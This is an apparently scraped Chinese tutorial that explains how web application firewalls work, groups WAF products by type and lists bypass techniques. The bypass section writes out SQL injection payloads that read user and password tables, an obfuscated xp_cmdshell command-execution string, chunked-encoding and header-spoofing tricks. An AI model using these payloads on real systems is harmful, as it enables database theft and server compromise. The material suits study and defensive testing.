sqlmap绕过d盾_Waf功能、分类与绕过

764d9b96374745fcf4557a1529d7baab.png

## 一. waf工作原理

Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

常见的系统攻击分为两类:

- 一是利用Web服务器的漏洞进行攻击,如DDOS攻击、病毒木马破坏等攻击;

- 二是利用网页自身的安全漏洞进行攻击,如SQL注入攻击、跨站脚本攻击等。常见攻击方式对网站服务器带来的危害主要集中在病毒木马破坏、网页非法篡改、各类网络攻击带来的威胁。

#### 1. waf简介

WAF是Web应用防火墙(Web Application Firewall)的简称,对来自Web应用程序客户端的各类请求进行内容检测和验证,确保其安全性与合法性,对非法的请求予以实时阻断,为Web应用提供防护,也称作应用防火墙,是网络安全纵深防御体系里重要的一环。WAF属于检测型及纠正型防御控制措施。WAF分为硬件WAF、软件WAF(ModSecurity)和云WAF。

WAF对请求的内容进行规则匹配、行为分析等识别出恶意行为,并执行相关动作,这些动作包括阻断、记录、告警等。

#### 1. WAF主要功能

1. 网马木马主动防御及查杀

网页木马和网页挂马扫描工具采用特征码+启发式引擎的查杀算法,WEB木马检出率大于90%

2. 流量监控

能够实时监测到每个网站的进出流量和总流量,以及每个应用程序池及网站的CPU占用情况

3. 网站漏洞防御功能

可拦截GET、POST、COOKIES等方式的SQL注入,可对GET、POST、COOKIES分别定义特征码,以及可拦截XSS注入等行为。

4. 危险组件防护功能

全面拦截恶意代码对组件的调用权限,拦截IIS执行恶意程序,保护网站安全

5. .Net安全保护模块

快捷设置.Net安全模式,禁止.Net执行系统敏感函数,保障网站安全

6. 双层防盗链链接模式

可以针对不同站点设置防盗链的过滤, 防止图片、桌面、软件、音乐、电影被人引用。如果发现请求者是盗用网站链接, 则自动重定向到错误处理页面

7. 网站特定资源防下载

支持对doc、mdb、mdf、myd等特定资源的防下载保护,加入要保护的敏感资料的路径,即可防止敏感资料被下载

8. CC攻击防护

自主研发的独特抗攻击算法,高效的主动防御系统可有效防御CC攻击、流量攻击。

9. 网站流量保护

支持下载流量控制、下载线程控制。采用独创的线程控制和流量控制技术, 大大提高服务器性能, 保护网站流量。

10.IP黑白名单

全IP黑白名单功能允许用户设置个性化的IP信任列表,直接屏蔽或者允许指定IP访问网站。同时,增加iP临时黑名单功能,以及实现了针对某个功能的iP白名单功能。同时,爬虫白名单提供爬虫信任机制,在出现误拦截情况下,允许用户自定义爬虫信任。

## 二、市场Waf分类

#### 1. 硬件Waf:

绿盟、启明、安恒、知道创宇、天融信等

硬件Waf通常的安装方式是将Waf串行部署在Web服务器前端,用于检测、阻断异常流量。

常规硬件Waf的实现方式是通过代理技术代理来自外部的流量,并对请求包进行解析,通过安全规则库的攻击规则进行匹配,如成功匹配规则库中的规则,则识别为异常并进行请求阻断。

#### 2. 软件Waf:

安全狗、云锁、中间件自带的Waf模块、D盾等

软件Waf则是安装在需要防护的服务器上,实现方式通常是Waf监听端口或以Web容器扩展方式进行请求检测和阻断。

#### 3. 云WAF:

阿里云、安全狗、安恒、知道创宇、腾讯网站管家等

云WAF,也称WEB应用防火墙的云模式,这种模式让用户不需要在自己的网络中安装软件程序或部署硬件设备,就可以对网站实施安全防护,它的主要实现方式是利用DNS技术,通过移交域名解析权来实现安全防护。用户的请求首先发送到云端节点进行检测,如存在异常请求则进行拦截否则将请求转发至真实服务器。

## 三、Waf绕过方法

#### 1、burp安装waf模块

- 步骤:插件扩展--BApp Store--Bypass WAF

- 项目选项--会议--会话处理规则--添加

![](http://oss.songboy.site/blog/20201114195645.png)

![](http://oss.songboy.site/blog/20201114200627.png)

#### 2、通过工具伪造百度、google等user agent头或者伪造白名单特殊目录

- 把User-Agent修改百度等各大搜索引擎的便可以绕过,把此处替换为百度等搜索引擎的User-Agent

![](http://oss.songboy.site/blog/20201114210534.png)

#### 3、编码绕过,把SQL语句编码便可以绕过waf

![](http://oss.songboy.site/blog/20201114210943.png)

#### 4、修改请求方式绕过

![](http://oss.songboy.site/blog/20201114212238.png)

- 利用waf的默认规则绕过,如默认只针对GET拦截,不对post拦截,那我们就可以用POST方式传输绕过waf

#### 5、复合参数绕过

- 例如一个请求是这样的

`GET /pen/news.php?id=1 union select user,password from mysql.user`

- 可以修改为

`GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user`

很多WAF都可以这样绕,测试最新版WAF能绕过部分语句

#### 6、WAF触发规则的绕过

##### 特殊字符替换空格:`%0a/**/` `/*|%23--%23|*/`

##### 特殊字符拼接:`+`

- 如:`GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')`

- 可以改为:`GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')`

##### 注释包含关键字

如: `GET /pen/news.php?id=1 union select user,password from mysql.user`

可以改为: `GET /pen/news.php?id=1 /*!union*/ /*!select*/ user,password /*!from*/ mysql.user`

##### 空格替换法

- 把空格替换成`%0a/**/`可以绕过

##### 使用大小写

- `http://www.***.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….`

##### 双写绕过

- `UNIunionON SELselectECT 1,2,3,4….`经过waf过滤后就变成`union select 1,2,3,4....`

##### 异或绕过

- `lucy' Xor '1'='1' #`

利用WAF本身的功能绕过,把"*"替换为空 uni*on+sel*ect+1,2,3,4....

##### 组合法:编码与注释

1、 替换法+URL编码 2、注释+替换法 3、内联注释+替换法

把and为&&,urlencode后为%26%26 如:%20%26%26%20-1=-1

#### 7、分块传输绕过

```

Content-Type: application/x-www-form-urlencoded

Transfer-Encoding: chunked

Content-Length: 87

4

id=1

6

union

7

select

2

1

8

,user(),

5

3,4,5

0

```

Transfer-Encoding: chunked

id=1 union select 1,user(),3,4,5

#### 8、 云waf绕过

寻找真实ip绕过云waf

#### 9、 云waf伪造请求包头信息

```

X-Originating-IP: 127.0.0.1

X-Forwarded-For: 127.0.0.1

X-Remote-IP: 127.0.0.1

X-Remote-Addr: 127.0.0.1

X-Client-IP: 127.0.0.1

```

绕过waf的方法有很多,也有许多方式被时代淘汰,你需要不停的思考绕过它的各种可能性,不断的去完善它。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/340027.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JUnit5 TestSuite替代

JUnit4具有TestSuite类来聚合多个测试。 这在JUnit 5中不可用。通常,通过套件中的一堆命名测试进行的测试发现有些糟透了。 但是,如果目标不是测试发现,而是不同测试类之间的资源共享,那么创建父对象是有意义的。 JUnit 5提供了N…

junit:junit_简而言之,JUnit:测试隔离

junit:junit作为顾问,我仍然经常遇到程序员,他们对JUnit及其正确用法的理解最多。 这使我有了编写多部分教程的想法,以从我的角度解释要点。 尽管存在一些有关使用该工具进行测试的好书和文章,但是也许可以通过本动手实践系列中的…

msflexgrid允许大选择_选择复式楼、跃层和别墅的装修业主如何做好家里的楼梯...

点击上面蓝色字体关注!装修图例 | 别墅装修 | 装潢装饰 | 样板楼梯 | 装修设计很多复式或者别墅的房子,楼梯是不可缺少的建筑,大部分楼梯是连接客厅以及卧室的,很多朋友都选择在楼梯上面铺地板,木地板的改装空间大&…

mysql 查询 系统字段 自然日_Mysql查询用户留存/留存率问题用户n日(内)留存、某日新增用户n日(内)留存...

Mysql查询用户留存/留存率语法计算某日的客户在第n日再次出现的概率--用户n日留存率。计算某日的客户在某个时间段内再次出现的概率--用户n日内留存率。计算某日新增的用户在第n日再次出现的概率--新用户n日留存率。计算某日新增的用户在某个时间段内再次出现的概率--新用户n日…

ajax 示例_通过示例了解挥发

ajax 示例我们已经花了几个月的时间来稳定Plumbr中的锁定检测功能 。 在此期间,我们遇到了许多棘手的并发问题。 许多问题是独特的,但是一种特殊类型的问题一直反复出现。 您可能已经猜到了–滥用volatile关键字。 我们已经发现并解决了许多问题&#x…

springboot 多线程_redis官方推荐:SpringBoot用这个,一键多线程

Lettuce是一个可伸缩的线程安全的Redis客户端,提供了同步,异步和响应式使用方式。 如果多线程避免阻塞和事务操作(如BLPOP和MULTI / EXEC),则多个线程可共享一个连接。 Lettuce使用通信使用netty。 支持先进的Redis功能,如Sentine…

oracle查询最高一条记录,oracle 查询已有记录,上一条记录,下一条记录

oracle可以使用 lead、lag 函数来查询已有记录的下一条、上一条记录。表结构如下:如要查询Staffno是6-1102的前一条记录select * from staff where staff_no(select c.p from (select staff_no,lag(staff_no,1,0) over (order by staff_no) as p from staff) c wh…

使用Maven进行增量构建

这是2020年,如果您要启动任何新的基于Java的项目,则应优先选择gradle,但由于某些原因,如果您仍然对Maven感兴趣,那么您可能会发现这篇文章有用。 Maven Java / scala编译器插件对增量编译提供了不错的支持&#xff0c…

php删除菜单栏,如何删除WordPress站点健康状态面板和菜单项

下面由WordPress教程栏目给大家介绍删除WordPress站点健康状态面板和菜单项的方法,希望对需要的朋友有所帮助!删除 WordPress 站点健康状态面板和菜单项WordPress站点健康功能始于 5.2 版,如不想显示这玩意,可以使用本文的方法删除…

colspan会影响内部单元格宽度失效_电感失效分析

电感失效分析01电感的作用我们通常所说的电感指的是电感器件,它是用绝缘导线(例如漆包线,沙包线等)绕制而成的电磁感应元件。在电路中,当电流流过导体时,会产生电磁场,电磁场的大小除以电流的大小就是电感。电感是衡量线圈产生电磁…

ZeptoN正在将程序放入Java

1.简介 Java编程语言或“ Java”于1995年引入。然而,在近25年的时间里,它增加了最初不是核心语言所具有的功能。 此类功能包括枚举,泛型,对基本C样式功能开关语句的许多增强,断言等。 Java是一种编程语言,随…

Quarkus入门

Quarkus – 一个为OpenJDK HotSpot和GraalVM量身定制的Kubernetes本机Java堆栈,它是从最佳Java库和标准中精制而成的。 –是一个容器优先的框架,针对快速启动时间和低内存消耗进行了优化。 该框架基于许多流行的Java库构建,并且为构建标准RES…

vmware6.5.2序列号_教你如何查询苹果序列号,查询是否为官换机、激活时间等

如何查询你刚买的苹果设备是否为官换机?或想知道它的激活日期?保修时间?那么赶紧收藏本篇教程吧!众所周知,在苹果官网查询苹果设备,是查询不到具体的信息(比如激活日期、保修日期、是否为官换机…

linux 7启动文件夹在哪里设置密码,RHEL7 or CentOS7 的系统密码如何重置

导读RHEL7 的世界发生了变化,重置 root 密码的方式也一样。虽然中断引导过程的旧方法(init/bin/bash)仍然有效,但它不再是推荐的。“Systemd” 使用 “rd.break” 来中断引导。让我们快速浏览下整个过程。介绍目的在 RHEL7/CentOS7/Scientific Linux 7 中…

里氏替换原则_代码需要有单一职责,还要开闭,里氏替换又是什么鬼?

目录单一职责原则:开闭原则:里氏替换原则:单一职责原则:每一个系统中的功能都表示一个职责,这些职责可以映射到模块(类)中,且尽可能的保证这些类中没有功能上的重复,设计…

联想打印机7256显示更换墨盒_惠普打印机涉嫌垄断?只认自家“昂贵”墨盒,成本太高招架不住...

近日,有人爆料称,所在公司购买的惠普打印机使用原装墨盒时可正常打印,更换其他品牌墨盒后也不能正常使用,因此认为惠普公司有行业垄断的嫌疑。从细节来看,该公司购买了惠普同一型号但不同批次的两台打印机,…

linux mcelog 运行,服务器硬件检测(采用mcelog)

mt 内存监控:mcecheck.pyraid监控: check-raidmcelog 是 x86 的 Linux 系统上用来检查硬件错误,特别是内存和CPU错误的工具。安装方式yum install mcelog运行mcelog查看日志方式/var/log/mcelogMCE 0HARDWARE ERROR. This is NOT a software …

动手选择值

由于冠状病毒的存在,可选的东西在空中,一切都变得可选,例如可选的公共聚会,可选的在家工作,可选的旅行等。 我现在是时候谈论处理NULL引用的软件工程中真正的“ 可选 ”了。 托尼霍尔(Tony Hoare&#xf…

wincc历史数据库_WinCC系统的基本功能介绍——自动化工程师必备

写在面前前面讲解了西门子的TIA Portal Wincc, Wincc Classic和Wincc OA (一文带你了解西门子Wincc),介绍了西门子的超大型/分布式SCADA系统Wincc OA(初识西门子Wincc OA——超大型/分布式SCADA),还介绍了Wincc Classic的典型架构和选型指南(WinCC V7.5典型架构及选…

apache.camel_Apache Camel 2.14中的更多指标

apache.camelApache Camel 2.14将于本月晚些时候发布。 由于正在解决某些Apache基础结构问题,因此存在一些问题。 这篇博客文章讨论的是我们添加到此版本中的新功能之一。 感谢Lauri Kimmel捐赠了骆驼指标组件,我们将其与出色的Codehale指标库集成在一起…